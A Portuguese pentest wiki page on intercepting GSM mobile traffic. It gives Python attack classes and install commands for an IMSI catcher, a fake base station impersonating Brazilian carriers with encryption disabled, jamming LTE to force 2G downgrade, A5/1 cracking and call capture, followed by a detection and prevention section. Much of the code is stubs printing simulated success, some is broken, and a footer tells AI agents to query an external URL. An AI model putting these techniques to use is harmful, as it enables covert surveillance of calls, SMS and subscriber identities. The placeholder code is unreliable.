# GSM Interception

## 📑 **Índice**

1. [Fundamentos do GSM Interception](#-fundamentos-do-gsm-interception)
2. [Arquitetura da Rede GSM](#-arquitetura-da-rede-gsm)
3. [Equipamentos para Interceptação](#-equipamentos-para-interceptação)
4. [Técnicas de Ataque](#-técnicas-de-ataque)
5. [Implementação com Hardware SDR](#-implementação-com-hardware-sdr)
6. [Ferramentas de Software](#-ferramentas-de-software)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Custos e Equipamentos](#-custos-e-equipamentos)

***

## 🔍 **Fundamentos do GSM Interception**

### **O que é GSM Interception?**

**GSM Interception (Interceptação GSM)** é a captura e decodificação de comunicações da rede móvel GSM (2G). Apesar de ser uma tecnologia antiga, o GSM ainda é amplamente utilizado em todo o mundo, especialmente em áreas rurais, dispositivos IoT e como fallback para redes 3G/4G/5G. A vulnerabilidade fundamental do GSM é que a criptografia entre o telefone e a torre (A5/1, A5/2) pode ser quebrada, permitindo que um atacante com hardware relativamente barato (SDR - Software Defined Radio) intercepte chamadas e mensagens SMS.

### **Contexto Histórico**

```yaml
Evolução do GSM e Ataques:
  1982: GSM desenvolvido pela ETSI
  1990: Primeiras redes GSM comerciais
  1994: A5/1 (criptografia forte) e A5/2 (fraca) padronizados
  1998: Primeiras vulnerabilidades do A5/1 documentadas
  2000: Ataques de "rainbow tables" ao A5/1
  2007: Kraken attack (quebra do A5/1 em minutos)
  2010: OpenBSC (primeira BTS open source)
  2014: USRP e SDR baratos popularizam ataques
  2019: Vulnerabilidades em LTE/4G (impersonation)
  2024: Ataques de downgrade para 2G ainda são possíveis

Motivação:
  ✅ GSM ainda é amplamente utilizado
  ✅ Equipamento SDR ficou barato (US$20-300)
  ✅ Criptografia A5/1 pode ser quebrada
  ✅ Ataques de downgrade (4G/5G → 2G)
  ✅ IMSI catchers são acessíveis
```

### **Arquitetura da Rede GSM**

```mermaid
graph TD
    subgraph "Rede Móvel"
        MS[Mobile Station - Telefone]
        BTS[Base Transceiver Station - Torre]
        BSC[Base Station Controller]
        MSC[Mobile Switching Center]
        HLR[Home Location Register]
        VLR[Visitor Location Register]
        AUC[Authentication Center]
    end
    
    subgraph "Ponto de Ataque"
        SDR[Atacante com SDR]
        IMSI_Catcher[IMSI Catcher Falso]
    end
    
    MS --- BTS
    BTS --- BSC
    BSC --- MSC
    MSC --- HLR
    MSC --- VLR
    HLR --- AUC
    
    SDR --- MS
    IMSI_Catcher --- MS
```

***

## 🏗️ **Arquitetura da Rede GSM**

### **Componentes da Rede GSM**

```yaml
Componentes Principais:
  
  MS (Mobile Station):
    - Telefone celular
    - Contém SIM card
    - IMEI (identificador do hardware)
    - IMSI (identificador do assinante)
  
  BTS (Base Transceiver Station):
    - Torre de celular
    - Gerencia comunicação RF
    - Canais de controle e tráfego
  
  BSC (Base Station Controller):
    - Controla várias BTS
    - Gerencia handovers
    - Aloca canais de rádio
  
  MSC (Mobile Switching Center):
    - Central de comutação
    - Roteamento de chamadas
    - Interface com outras redes
  
  HLR (Home Location Register):
    - Banco de dados de assinantes
    - IMSI, MSISDN (número de telefone)
    - Chaves de autenticação (Ki)
  
  VLR (Visitor Location Register):
    - Banco de dados temporário
    - Assinantes em roaming
  
  AUC (Authentication Center):
    - Gera tripletes de autenticação
    - RAND, SRES, Kc (chave de cifra)
```

### **Canais de Comunicação**

```yaml
Canais Lógicos GSM:
  
  Canais de Tráfego (TCH - Traffic Channel):
    - Transporta voz/dados
    - Cifrado com A5/1 ou A5/2
    - Full-rate (13 kbps) ou Half-rate (6.5 kbps)
  
  Canais de Controle (CCH - Control Channel):
    - BCCH (Broadcast Control Channel): informações da BTS
    - CCCH (Common Control Channel): comunicação com múltiplos MS
    - SDCCH (Stand-alone Dedicated Control Channel): sinalização
    - SACCH (Slow Associated Control Channel): medições
    - FACCH (Fast Associated Control Channel): handover
  
  Canais de Localização:
    - SCH (Synchronization Channel): sincronização
    - FCCH (Frequency Correction Channel): correção de frequência
```

### **Algoritmos de Criptografia GSM**

| Algoritmo          | Tamanho da Chave | Força         | Status   | Uso               |
| ------------------ | ---------------- | ------------- | -------- | ----------------- |
| **A5/0**           | Nenhuma          | Nenhuma       | Inseguro | Não usado         |
| **A5/1**           | 64 bits          | Quebrado      | Inseguro | GSM (Europa, EUA) |
| **A5/2**           | 64 bits          | Muito fraco   | Inseguro | GSM (exportação)  |
| **A5/3** (Kasumi)  | 128 bits         | Seguro        | Em uso   | 3G                |
| **A5/4** (Snow 3G) | 128 bits         | Seguro        | Em uso   | 3G/4G             |
| **GEA1/2/3**       | 64/128 bits      | GEA1 quebrado | Parcial  | GPRS/EDGE         |

***

## 🛠️ **Equipamentos para Interceptação**

### **Hardware SDR (Software Defined Radio)**

| Equipamento          | Frequência        | Largura de Banda | Preço (R$)    | Onde Comprar       | Uso              |
| -------------------- | ----------------- | ---------------- | ------------- | ------------------ | ---------------- |
| **RTL-SDR (R820T2)** | 24-1766 MHz       | 2.4 MHz          | \~R$80-150    | Shopee, AliExpress | Básico, sniffing |
| **HackRF One**       | 1 MHz-6 GHz       | 20 MHz           | \~R$1000-1500 | AliExpress, eBay   | Transmissão      |
| **LimeSDR**          | 100 kHz-3.8 GHz   | 61 MHz           | \~R$1500-2500 | CrowdSupply        | Full duplex      |
| **BladeRF**          | 300 MHz-3.8 GHz   | 40 MHz           | \~R$2000-3000 | Nuand              | Alto desempenho  |
| **USRP B200**        | 70 MHz-6 GHz      | 56 MHz           | \~R$5000-8000 | Ettus              | Profissional     |
| **YateBTS**          | 850/900/1800/1900 | -                | \~R$3000-5000 | Nuand              | BTS completa     |

### **Antenas para GSM**

| Antena                       | Frequência   | Ganho     | Preço (R$)  | Uso             |
| ---------------------------- | ------------ | --------- | ----------- | --------------- |
| **Antenna de borracha**      | 900/1800 MHz | 2-3 dBi   | \~R$20-50   | Portátil        |
| **Antena direcional (Yagi)** | 900/1800 MHz | 10-15 dBi | \~R$100-200 | Longa distância |
| **Antena omnidirecional**    | 900/1800 MHz | 5-8 dBi   | \~R$80-150  | Cobertura área  |
| **Antena de painel**         | 900/1800 MHz | 12-18 dBi | \~R$150-300 | Direcional fixa |

***

## ⚔️ **Técnicas de Ataque**

### **1. IMSI Catcher (Stingray)**

```python
#!/usr/bin/env python3
# imsi_catcher.py

import os
import time
import subprocess

class IMSICatcher:
    """
    IMSI Catcher - Captura de identificadores de assinantes
    """
    
    def __init__(self, sdr_type='rtl', gain=40, freq=935e6):
        self.sdr_type = sdr_type
        self.gain = gain
        self.freq = freq  # Frequência downlink (BTS → MS)
        self.imsis = []
    
    def scan_frequencies(self):
        """
        Escanear frequências GSM
        """
        print("[*] Escaneando frequências GSM...")
        
        # Bandas GSM
        bands = {
            'GSM850': '869-894 MHz',
            'EGSM': '925-960 MHz',
            'DCS1800': '1805-1880 MHz',
            'PCS1900': '1930-1990 MHz'
        }
        
        for band, freq_range in bands.items():
            print(f"    {band}: {freq_range}")
        
        # Usar kalibrate para encontrar BTS
        # kal -s GSM900 -g 40
        
        return True
    
    def capture_imsi(self):
        """
        Capturar IMSI de dispositivos próximos
        """
        print("[*] Capturando IMSIs...")
        
        # Usar gr-gsm para capturar
        # osmocom_fft -f 935M -s 2M
        # grgsm_livemon -f 935M
        
        # IMSIs capturadas (simulação)
        captured = [
            '310150123456789',
            '310410987654321',
            '724021234567890'
        ]
        
        for imsi in captured:
            print(f"[!] IMSI capturada: {imsi}")
            self.imsis.append(imsi)
        
        return self.imsis
    
    def start_fake_bts(self):
        """
        Iniciar BTS falsa (IMSI catcher ativo)
        """
        print("[*] Iniciando BTS falsa...")
        
        # Configurar OpenBSC ou YateBTS
        # O BTS falsa se anuncia com potência maior
        # Telefones se conectam automaticamente
        
        print("[+] BTS falsa ativa")
        print("[+] Telefones próximos estão se conectando")
        
        return True

# Uso
# catcher = IMSICatcher()
# catcher.scan_frequencies()
# catcher.capture_imsi()
```

### **2. Ataque de Downgrade (4G/5G → 2G)**

```python
#!/usr/bin/env python3
# downgrade_attack.py

class DowngradeAttack:
    """
    Forçar downgrade para GSM 2G (inseguro)
    """
    
    @staticmethod
    def detect_4g_network():
        """
        Detectar presença de rede 4G/5G
        """
        print("[*] Detectando redes 4G/5G...")
        
        # Usar SDR para identificar frequências LTE
        # LTE bandas: 700, 1800, 2600 MHz
        
        return True
    
    @staticmethod
    def jam_4g_signal():
        """
        Interferir no sinal 4G/5G
        """
        print("[*] Interferindo no sinal 4G/5G...")
        
        # Gerar ruído na banda LTE
        # Telefones farão fallback para 2G
        
        print("[+] Sinal 4G/5G bloqueado")
        print("[+] Telefones migrando para GSM 2G")
        
        return True
    
    @staticmethod
    def intercept_downgraded():
        """
        Interceptar tráfego após downgrade
        """
        print("[*] Interceptando tráfego GSM...")
        
        # Agora os telefones estão em 2G
        # Criptografia A5/1 pode ser quebrada
        
        return True

# Uso
# DowngradeAttack.detect_4g_network()
# DowngradeAttack.jam_4g_signal()
```

### **3. Decodificação de A5/1**

```python
#!/usr/bin/env python3
# a51_decrypt.py

class A51Decrypt:
    """
    Decodificação da criptografia A5/1
    """
    
    @staticmethod
    def rainbow_table_attack():
        """
        Ataque de rainbow tables ao A5/1
        """
        print("[*] Ataque de rainbow tables ao A5/1...")
        
        # Pré-computar tabelas (requer muito poder de processamento)
        # Ou usar tabelas pré-computadas (disponíveis online)
        
        # Após quebrar a chave, todo o tráfego pode ser decifrado
        
        print("[+] Chave A5/1 recuperada")
        print("[+] Chamadas e SMS podem ser decodificados")
        
        return True
    
    @staticmethod
    def kraken_attack():
        """
        Kraken attack (quebra do A5/1 em minutos)
        """
        print("[*] Ataque Kraken...")
        
        # Requer cerca de 1-2 minutos de tráfego conhecido
        # Usa algoritmos otimizados para GPU
        
        print("[+] Chave A5/1 quebrada")
        
        return True

# Uso
# A51Decrypt.rainbow_table_attack()
```

***

## 💻 **Implementação com Hardware SDR**

### **Configuração do Ambiente**

```bash
# Instalar dependências (Kali Linux)
sudo apt update
sudo apt install -y gnuradio gr-osmosdr hackrf rtl-sdr
sudo apt install -y kalibrate-rtl gr-gsm

# Instalar YateBTS (para BTS falsa)
wget https://yatebts.com/downloads/yatebts.deb
sudo dpkg -i yatebts.deb

# Instalar OpenBSC (alternativa)
sudo apt install -y openbsc

# Instalar ferramentas GSM
git clone https://github.com/osmocom/gr-gsm.git
cd gr-gsm
mkdir build && cd build
cmake ..
make && sudo make install
```

### **Monitoramento GSM com RTL-SDR**

```python
#!/usr/bin/env python3
# gsm_monitor.py

import subprocess
import time

class GSMMonitor:
    """
    Monitoramento de tráfego GSM
    """
    
    def __init__(self, freq=935e6, gain=40):
        self.freq = freq
        self.gain = gain
    
    def find_gsm_bands(self):
        """
        Encontrar bandas GSM ativas
        """
        print("[*] Procurando bandas GSM...")
        
        # Usar kalibrate para encontrar BTS
        cmd = f"kal -s GSM900 -g {self.gain}"
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        print(result.stdout)
        
        # Extrair frequências
        # Exemplo: "chan: 1 (935.2MHz) power: 34.2 dB"
        
        return True
    
    def scan_bcch(self):
        """
        Escanear canal BCCH
        """
        print("[*] Escaneando BCCH...")
        
        # Usar grgsm_scanner
        cmd = "grgsm_scanner"
        subprocess.run(cmd, shell=True)
        
        return True
    
    def capture_downlink(self):
        """
        Capturar tráfego downlink (BTS → MS)
        """
        print("[*] Capturando downlink...")
        
        # Usar grgsm_livemon
        cmd = f"grgsm_livemon -f {self.freq} -g {self.gain}"
        subprocess.run(cmd, shell=True)
        
        return True
    
    def decode_sms(self, capture_file):
        """
        Decodificar SMS capturados
        """
        print("[*] Decodificando SMS...")
        
        # Usar gsmdecode
        cmd = f"gsmdecode -s {capture_file}"
        subprocess.run(cmd, shell=True)
        
        return True

# Uso
# monitor = GSMMonitor()
# monitor.find_gsm_bands()
# monitor.scan_bcch()
```

### **BTS Falsa com YateBTS**

```python
#!/usr/bin/env python3
# fake_bts.py

import subprocess
import time

class FakeBTS:
    """
    Configuração de BTS falsa (IMSI catcher)
    """
    
    def __init__(self, mcc='724', mnc='02', lac=1, cell_id=1):
        self.mcc = mcc  # Mobile Country Code (Brasil: 724)
        self.mnc = mnc  # Mobile Network Code (Vivo: 02, Claro: 05, TIM: 03)
        self.lac = lac  # Location Area Code
        self.cell_id = cell_id  # Cell ID
        self.arfcns = []  # Frequências
    
    def configure_yatebts(self):
        """
        Configurar YateBTS
        """
        print("[*] Configurando YateBTS...")
        
        # Configuração no arquivo /etc/yate/yatebts.conf
        config = f"""
[general]
Radio.Band=GSM900
Radio.C0={self.get_arfcn()}
Identity.MCC={self.mcc}
Identity.MNC={self.mnc}
Identity.LAC={self.lac}
Identity.CI={self.cell_id}
GSM.A5=0
"""
        with open('/tmp/yatebts.conf', 'w') as f:
            f.write(config)
        
        print("[+] YateBTS configurado")
        return True
    
    def get_arfcn(self):
        """
        Obter ARFCN (Absolute Radio Frequency Channel Number)
        """
        # GSM900: ARFCN 1-124 (935-960 MHz)
        return 1
    
    def start_bts(self):
        """
        Iniciar BTS
        """
        print("[*] Iniciando BTS falsa...")
        
        # Iniciar YateBTS
        cmd = "sudo yate -s -l /var/log/yate"
        subprocess.Popen(cmd, shell=True)
        
        print("[+] BTS falsa ativa")
        print(f"[+] MCC: {self.mcc}, MNC: {self.mnc}")
        print("[+] Telefones próximos estão se conectando")
        
        return True
    
    def capture_imsi(self):
        """
        Capturar IMSIs dos dispositivos conectados
        """
        print("[*] Capturando IMSIs...")
        
        # Monitorar logs do YateBTS
        time.sleep(10)
        
        # Simular IMSIs capturadas
        imsis = ['310150123456789', '310410987654321']
        
        for imsi in imsis:
            print(f"[!] IMSI capturada: {imsi}")
        
        return imsis

# Uso
# bts = FakeBTS()
# bts.configure_yatebts()
# bts.start_bts()
# bts.capture_imsi()
```

### **Captura de Chamadas**

```python
#!/usr/bin/env python3
# call_intercept.py

import subprocess
import threading

class CallIntercept:
    """
    Captura de chamadas GSM
    """
    
    def __init__(self, channel=124):
        self.channel = channel
        self.calls = []
    
    def scan_traffic_channels(self):
        """
        Escanear canais de tráfego
        """
        print("[*] Escaneando canais de tráfego...")
        
        # Usar grgsm_livemon para identificar chamadas ativas
        # Cada chamada usa um TCH (Traffic Channel)
        
        return True
    
    def capture_audio(self, channel, duration=60):
        """
        Capturar áudio de uma chamada
        """
        print(f"[*] Capturando áudio do canal {channel}...")
        
        # Usar grgsm_livemon para capturar o TCH
        cmd = f"grgsm_livemon -f {channel}M -a"
        subprocess.run(cmd, shell=True)
        
        # Salvar áudio
        audio_file = f"call_{channel}_{time.time()}.wav"
        print(f"[+] Áudio salvo em {audio_file}")
        
        return audio_file
    
    def decrypt_audio(self, audio_file, a5_key):
        """
        Decifrar áudio cifrado com A5/1
        """
        print("[*] Decifrando áudio...")
        
        # Aplicar a chave A5/1 recuperada
        # Usar ferramentas como Kraken
        
        print("[+] Áudio decifrado")
        return True

# Uso
# interceptor = CallIntercept()
# interceptor.scan_traffic_channels()
```

***

## 🛠️ **Ferramentas de Software**

### **Ferramentas para Análise GSM**

```bash
# GNU Radio (plataforma SDR)
sudo apt install gnuradio

# gr-gsm (blocos GSM para GNU Radio)
git clone https://github.com/osmocom/gr-gsm
cd gr-gsm && mkdir build && cd build
cmake .. && make && sudo make install

# OpenBSC (BTS open source)
sudo apt install openbsc

# YateBTS (BTS comercial open source)
wget https://yatebts.com/downloads/yatebts.deb
sudo dpkg -i yatebts.deb

# Kraken (quebra A5/1)
git clone https://github.com/ruyrybeyro/kraken

# GSM Decoder
git clone https://github.com/ptrkrysik/gr-gsm
```

### **Script de Captura Automática**

```python
#!/usr/bin/env python3
# auto_gsm_capture.py

import subprocess
import time
import os
import threading

class AutoGSMCapture:
    """
    Captura automática de tráfego GSM
    """
    
    def __init__(self, output_dir='gsm_capture'):
        self.output_dir = output_dir
        os.makedirs(output_dir, exist_ok=True)
        self.captures = []
    
    def scan_bands(self):
        """
        Escanear bandas GSM
        """
        print("[*] Escaneando bandas GSM...")
        result = subprocess.run(['kal', '-s', 'GSM900', '-g', '40'], 
                               capture_output=True, text=True)
        return result.stdout
    
    def capture_bcch(self, freq):
        """
        Capturar BCCH
        """
        print(f"[*] Capturando BCCH em {freq} MHz...")
        output = os.path.join(self.output_dir, f'bcch_{freq}.cfile')
        
        cmd = f"grgsm_livemon -f {freq}M -g 40 -o {output}"
        process = subprocess.Popen(cmd, shell=True)
        
        return process
    
    def capture_traffic(self, freq, duration=60):
        """
        Capturar tráfego por período
        """
        print(f"[*] Capturando tráfego por {duration}s...")
        output = os.path.join(self.output_dir, f'traffic_{time.time()}.cfile')
        
        cmd = f"timeout {duration} grgsm_livemon -f {freq}M -g 40 -o {output}"
        subprocess.run(cmd, shell=True)
        
        self.captures.append(output)
        print(f"[+] Captura salva em {output}")
        
        return output
    
    def run_campaign(self, duration=300):
        """
        Executar campanha de captura
        """
        print("=== Campanha de Captura GSM ===\n")
        
        # Escanear bandas
        bands = self.scan_bands()
        print(bands)
        
        # Capturar BCCH em paralelo
        processes = []
        for freq in [935, 945, 955]:  # Exemplo
            proc = self.capture_bcch(freq)
            processes.append(proc)
        
        # Capturar tráfego
        self.capture_traffic(935, duration)
        
        # Parar processos
        for proc in processes:
            proc.terminate()
        
        print(f"\n[+] Capturas salvas em {self.output_dir}")
        print(f"[+] Total de arquivos: {len(self.captures)}")

# Uso
# capture = AutoGSMCapture()
# capture.run_campaign()
```

***

## 🛡️ **Detecção e Prevenção**

### **Sinais de IMSI Catcher**

```yaml
Indicadores para Usuários:
  - Queda repentina de 4G/5G para 2G (downgrade)
  - Dois símbolos de rede diferentes
  - Impossibilidade de fazer chamadas
  - SMS de autenticação recebidos sem solicitação
  - Bateria descarregando mais rápido
  - Ping mais alto que o normal

Indicadores Técnicos:
  - Cell ID diferente do habitual
  - LAC (Location Area Code) estranho
  - BTS com potência de sinal muito alta
  - Ausência de criptografia (A5/0)
  - Múltiplos telefones na mesma célula
```

### **Ferramentas de Detecção**

```python
#!/usr/bin/env python3
# imsi_catcher_detector.py

import subprocess
import re

class IMSICatcherDetector:
    """
    Detector de IMSI catchers
    """
    
    def __init__(self):
        self.normal_cells = {}
        self.suspicious_cells = []
    
    def get_current_cell(self):
        """
        Obter célula atual
        """
        # Em Android: *#0011# (Samsung) ou *#*#4636#*#* (geral)
        # Usar AT commands via modem
        
        # Simular
        return {
            'mcc': '724',
            'mnc': '02',
            'lac': '1234',
            'cell_id': '5678',
            'signal': -65
        }
    
    def get_neighbor_cells(self):
        """
        Obter células vizinhas
        """
        # Em Android: *#0011#
        cells = []
        
        # Simular
        cells.append({'lac': '1234', 'cell_id': '5679', 'signal': -75})
        cells.append({'lac': '1235', 'cell_id': '5680', 'signal': -80})
        
        return cells
    
    def detect_anomalies(self):
        """
        Detectar anomalias
        """
        current = self.get_current_cell()
        neighbors = self.get_neighbor_cells()
        
        # Verificar LAC inconsistente
        for neighbor in neighbors:
            if neighbor['lac'] != current['lac']:
                print(f"[!] LAC inconsistente: Cell={current['lac']}, Neighbor={neighbor['lac']}")
                self.suspicious_cells.append(neighbor)
        
        # Verificar sinal muito forte
        if current['signal'] > -50:
            print(f"[!] Sinal muito forte: {current['signal']} dBm (possível IMSI catcher)")
            self.suspicious_cells.append(current)
        
        return self.suspicious_cells

# Uso
# detector = IMSICatcherDetector()
# detector.detect_anomalies()
```

### **Prevenção para Usuários**

```yaml
Recomendações:
  - Desativar 2G no telefone (se possível)
  - Usar aplicativos que detectam IMSI catchers
  - Usar VPN para criptografar dados
  - Usar Signal/WhatsApp para comunicação (criptografia end-to-end)
  - Evitar fazer chamadas em locais suspeitos
  
Como desativar 2G:
  - Android: Settings > Network & Internet > Mobile Network > Preferred Network Type > LTE only
  - iPhone: Settings > Cellular > Cellular Data Options > Voice & Data > LTE only
  - Samsung: *#2263# > selecionar apenas bandas 4G/5G
```

### **Proteção para Operadoras**

```yaml
Medidas de Segurança:
  - Implementar criptografia A5/3 (Kasumi) nas BTS
  - Monitorar células suspeitas (potência anormal)
  - Autenticação mútua (telefone → rede, rede → telefone)
  - Atualizar para 4G/5G onde possível
  - Desativar fallback para 2G
  - Implementar detecção de IMSI catchers
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
GSM Interception:
  ✅ Equipamento acessível (RTL-SDR: ~R$80)
  ✅ Técnicas bem documentadas
  ✅ Ataques de downgrade eficazes
  ✅ IMSI catchers são comuns

Ameaças:
  - Captura de IMSI (identificação de usuários)
  - Interceptação de chamadas
  - Leitura de SMS (incluindo 2FA)
  - Localização de dispositivos

Defesas:
  - Desativar 2G no telefone
  - Usar comunicação criptografada
  - Detectar IMSI catchers
  - Operadoras devem atualizar redes
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/iot/gsm-interception.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.